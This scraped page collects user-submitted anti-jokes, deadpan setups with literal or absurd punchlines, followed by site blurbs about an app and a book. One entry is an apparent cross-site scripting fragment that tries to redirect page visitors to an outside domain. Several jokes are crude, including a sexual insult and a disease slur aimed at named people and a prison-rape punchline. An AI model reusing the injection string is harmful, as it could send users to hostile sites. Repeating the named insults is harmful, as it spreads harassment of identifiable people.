Q. What did the Vampire say when he ate the Pizza? A. Nothing. It is literally impossible for a vampire to be real, therefore it's insane if you thought it said something.

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Yes you better be sorry, I'm gonna suck my mums p e n i s tonight! - Dylan Hodge

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What do you call a deer with one eye? Nothing. The deer was transported to a specialist animal hospital and now has two working eyes, eliminating the purpose of this joke. We apologise for wasting your time.

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Two cows are sitting in a bathtub. One cow says please pass the soap. The other cow says nothing, cause it's a cow, making it incapable if speech. The other cow was just a guy in a cow costume.

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Why do chickens have feathers? Because chickens are birds and birds have feathers.

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A guy wanted to write a joke. He didn't.

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Why wasn't cacto at school that day. Because Silas gave him extreme butthole aids.

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Why was 10 afraid of 9? Because 9-8-7-6-5-4-3-2-1...Kaboom!

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Q: What's red and bad for your teeth? A: Bricks.

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Roses are Red Violets are Blue I'm Schizophrenic And so am I.

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Why am I constipated? I ate fiber glass insulation.

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"You just went and made a new dinosaur?" "And due to its well-developed core muscles the staff behind Jurassic World has called it - 'ABDOMINUS PEX'." "That's a stupid name."

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Why'd the squrille fall out of the Tree? Cause it was dead

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"'>document.location.href="http://cramik.org"

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Why was Joe lying on the ground? Because he got shot.

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Why did the magician die when he tried to escape from the handcuffs underwater? Because he drowned and failed his magic trick.

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What's worse than forgetting to charge your cell phone battery? Getting wrongfully accused and going to jail and get raped by inmates for the rest of your life.

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Why was the dentist sent to jail? Because he committed a crime.

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There are two parrots sitting on a perch. One parrot says to the other parrot, "Do you smell fish?"

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Q: Why was the chicken waterboarded? A: Because the guy liked being cruel to animals.

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What did the vibrator say to the condom? Watch, I'll get laid before you do!!!

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A horse walks into a bar, the bartender says "why the long face?" the horse then says nothing because horses cannot talk, only humans can talk.

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Q: Whats Brown and sticky A: an eagle except for the brown and sticky part

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what's blue , and you can urinate it? a rim block.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

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